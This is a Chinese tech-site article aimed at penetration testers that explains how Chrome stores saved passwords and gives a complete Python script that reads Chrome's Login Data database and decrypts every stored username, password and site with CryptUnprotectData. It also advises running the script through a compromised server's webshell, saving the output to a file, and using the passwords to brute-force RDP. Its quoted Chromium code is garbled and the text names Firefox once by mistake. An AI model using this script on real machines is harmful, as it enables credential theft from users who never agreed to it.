密码破解之Chrome浏览器存储密码获取

原创
安全 数据安全
在我们实战渗透内网过程中,经常会因为各种各样的密码破解问题而发愁。相对于外网来说,内网安全是较为脆弱的,因为大量的密码被重复使用,而如何获得这些非常有价值的密码,很可能就是一次渗透能否成功的关键。

在我们实战渗透内网过程中,经常会因为各种各样的密码破解问题而发愁。相对于外网来说,内网安全是较为脆弱的,因为大量的密码被重复使用,而如何获得这些非常有价值的密码,很可能就是一次渗透能否成功的关键。

[[163716]]

我们来详细分析一下,如何针对火狐浏览器自动保存的密码进行获取,并完成相应的程序编写。

一、关于Chrome浏览器密码存储机制:

谷歌浏览器加密后的密钥存储于%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”(这里的APPDATA是由系统or用户环境变量决定的)下的一个SQLite数据库中。那么他是如何加密的呢,通过开源的Chromium,我们来一探究竟:

首先,我们作为用户登录一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断此次登录是否是一次成功的登录,部分判断代码如下:

Provisional_save_manager_->SubmitPassed();  
    if (provisional_save_manager_->HasGeneratedPassword())  
        UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);  
    If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){  
        Delegate_->AddSavePasswordInfoBarIfPermitted(  
        Provisional_save_manager_.release());  
else {  
provisional_save_manager_->Save();  
Provisional_save_manager_.reset();  
}  
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.

当我们登录成功时,并且使用的是一套新的证书(也就是说是***次登录该网站),Chrome就会询问我们是否需要记住密码。

那么登录成功后,密码是如何被Chrome存储的呢?

答案在EncryptedString函数,通过调用EncryptString16函数,代码如下:

Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {  
    DATA_BLOB input;  
    Input.pbData = static_cast<DWORD>(plaintext.length());  
      
    DATA_BLOB output;  
    BOOL result = CryptProtectData(&input, L””,NULLNULLNULL, 0,&output);  
    If (!result)  
        Return false;  
//复制操作  
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);  
 
LocalFree(output.pbData);  
Return true;  
}  
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.

代码***利用了Widows API函数CryptProtectData(请记住这个函数,因为后面会提到它)来加密。当我们拥有证书时,密码就会被回复给我们使用。

在我们得到服务器权限后,证书的问题已经不用考虑了,所以下一步,我们解决如何获得这些密码。

二、编写脚本跑出Chrome浏览器保存的密码

因为考虑到在大多数情况下,并不能远程登录到服务器上执行GUI的程序,所以做个Python脚本跑一下是***选择,唯一的缺点是如果WINDOWS不支持PYTHON环境,Python打包成EXE文件的话会比较大。

下面考虑代码部分,因为用户不同所在用户的文件夹就不同,需要知道LOGIN DATA文件的具体路径,所以我们需要python中的os.environ从环境变量中读取LOCALAPPDATA的路径,剩下的路径是谷歌默认生成。

获取LOGINDATA文件的写法为:

google_path = r’ Google\Chrome\User Data\Default\Login Data’  
file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)  
 
#Login Data文件可以利用python中的sqlite3库来操作。  
conn = sqlite3.connect(file_path)  
for row in conn.execute('select username_value, password_value, signon_realm from logins'):  
#利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。  
    cursor = conn.cursor()  
cursor.execute('select username_value, password_value, signon_realm from logins')  
 
#接收全部返回结果  
for data in cursor.fetchall():  
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
#利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,可以逐一得到Chrome浏览器存储的密码。  
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.

这里我们用到了CryptUnprotectData这个函数,与之对应的是我们上文提到的CryptProtectData,理论上来说CryptProtectData加密的文本内容,都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式,大家可以自行尝试。

三、完成实验脚本

脚本完整代码如下:

#coding:utf8  
import os, sys  
import sqlite3  
import win32crypt  
 
 
google_path = r'Google\Chrome\User Data\Default\Login Data' 
 
 
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)  
conn = sqlite3.connect(db_file_path)  
cursor = conn.cursor()  
cursor.execute('select username_value, password_value, signon_realm from logins')  
 
#接收全部返回结果  
for data in cursor.fetchall():  
    passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
      
    if passwd:  
        print '-------------------------' 
        print u'[+]用户名: ' + data[0]   
        print u'[+]密码: ' + passwd[1]   
        print u'[+]网站URL: ' + data[2]  
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.

效果如下:

密码破解之Chrome浏览器存储密码获取 

当然,在取得服务器webshell的情况下,如果有执行权限但无法提权,可以利用这种方法挖掘密码,进而再利用社工思路对服务器RDP服务密码进行暴力破解。

如果Webshell不能回显,可以用类似getpass一样的方式,导出到文本中。

Python chrome.py > 1.txt

(提示:导出过程中,输出中文可能会报错,建议换成英文导出。)

注意:在用户打开Chrome时,Login Data文件是被上锁的,如果这时想要对其进行读取操作,可以将Login Data文件复制到临时目录进行读取操作。

责任编辑:蓝雨泪 来源: 51CTO.com
相关推荐

2013-07-25 14:17:17

2012-12-06 14:34:16

2025-02-13 10:28:17

数据泄露Chrome谷歌

2017-02-08 14:30:08

Chrome密码浏览器

2018-01-30 15:16:26

2018-01-15 15:40:59

2021-07-27 10:15:57

浏览器NPM包Chrome web

2011-12-09 10:17:07

2023-07-13 07:07:17

2021-01-27 11:01:21

密码保护工具微软浏览器

2021-05-25 14:08:28

微软Edge浏览器

2018-04-13 11:14:42

2010-01-28 10:13:43

2009-11-26 10:55:41

2023-03-13 00:19:43

2021-12-30 21:50:01

Redline密码管理浏览器

2012-08-28 10:19:55

2011-12-28 14:13:52

2015-01-21 15:45:50

斯巴达浏览器

2016-08-31 14:16:53

点赞
收藏

51CTO技术栈公众号